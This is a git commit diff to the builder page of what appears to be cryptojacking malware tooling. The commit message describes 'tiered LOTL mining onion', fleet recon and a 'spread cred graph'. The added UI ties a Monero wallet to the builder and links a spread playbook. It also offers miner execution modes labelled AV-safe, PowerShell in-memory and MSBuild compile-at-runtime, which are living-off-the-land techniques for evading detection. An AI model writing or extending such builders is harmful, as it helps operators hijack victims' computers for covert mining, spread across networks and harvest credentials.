Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -76,6 +76,8 @@ import {
|
||||
type MissionOperationChip,
|
||||
type MissionWizardStep,
|
||||
} from '../help/forgeMissionWizard';
|
||||
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
|
||||
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
|
||||
import './Pages.css';
|
||||
import './BuilderPage.css';
|
||||
|
||||
@@ -1372,6 +1374,29 @@ export default function BuilderPage() {
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint">{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}</p>
|
||||
{operationMode === 'lotl_onion' && (
|
||||
<details className="forge-lotl-doc" style={{ marginTop: '0.5rem' }}>
|
||||
<summary className="form-hint" style={{ cursor: 'pointer' }}>
|
||||
LOTL Onion tiers — same XMR Wallet Address; server-pulled order on connect
|
||||
</summary>
|
||||
<ul className="form-hint" style={{ margin: '0.35rem 0 0', paddingLeft: '1.2rem' }}>
|
||||
{LOTL_ONION_TIER_DOCS.map((t) => (
|
||||
<li key={t.id}>
|
||||
{t.label} — {t.hint}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<a
|
||||
href={spreadTechniqueDocUrl('lotl-onion')}
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
className="form-hint"
|
||||
style={{ display: 'inline-block', marginTop: '0.35rem' }}
|
||||
>
|
||||
Spread playbook: LOTL Onion tab →
|
||||
</a>
|
||||
</details>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||
<label className="label">Spread profile presets</label>
|
||||
@@ -1933,6 +1958,21 @@ export default function BuilderPage() {
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Miner Execution <HelpTip field="miner_execution" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={form.miner_execution ?? 'inprocess'}
|
||||
onChange={(e) => updateField('miner_execution', e.target.value)}
|
||||
>
|
||||
<option value="inprocess">In-process RandomX (default, AV-safe CPU)</option>
|
||||
<option value="auto">Auto (container if Docker detected)</option>
|
||||
<option value="container">Container mining</option>
|
||||
<option value="subprocess">Subprocess (GPU miners)</option>
|
||||
<option value="powershell">PowerShell in-memory (LOTL)</option>
|
||||
<option value="dotnet">Dotnet/MSBuild compile-at-runtime (LOTL)</option>
|
||||
</select>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||
<select
|
||||
|
||||
Reference in New Issue
Block a user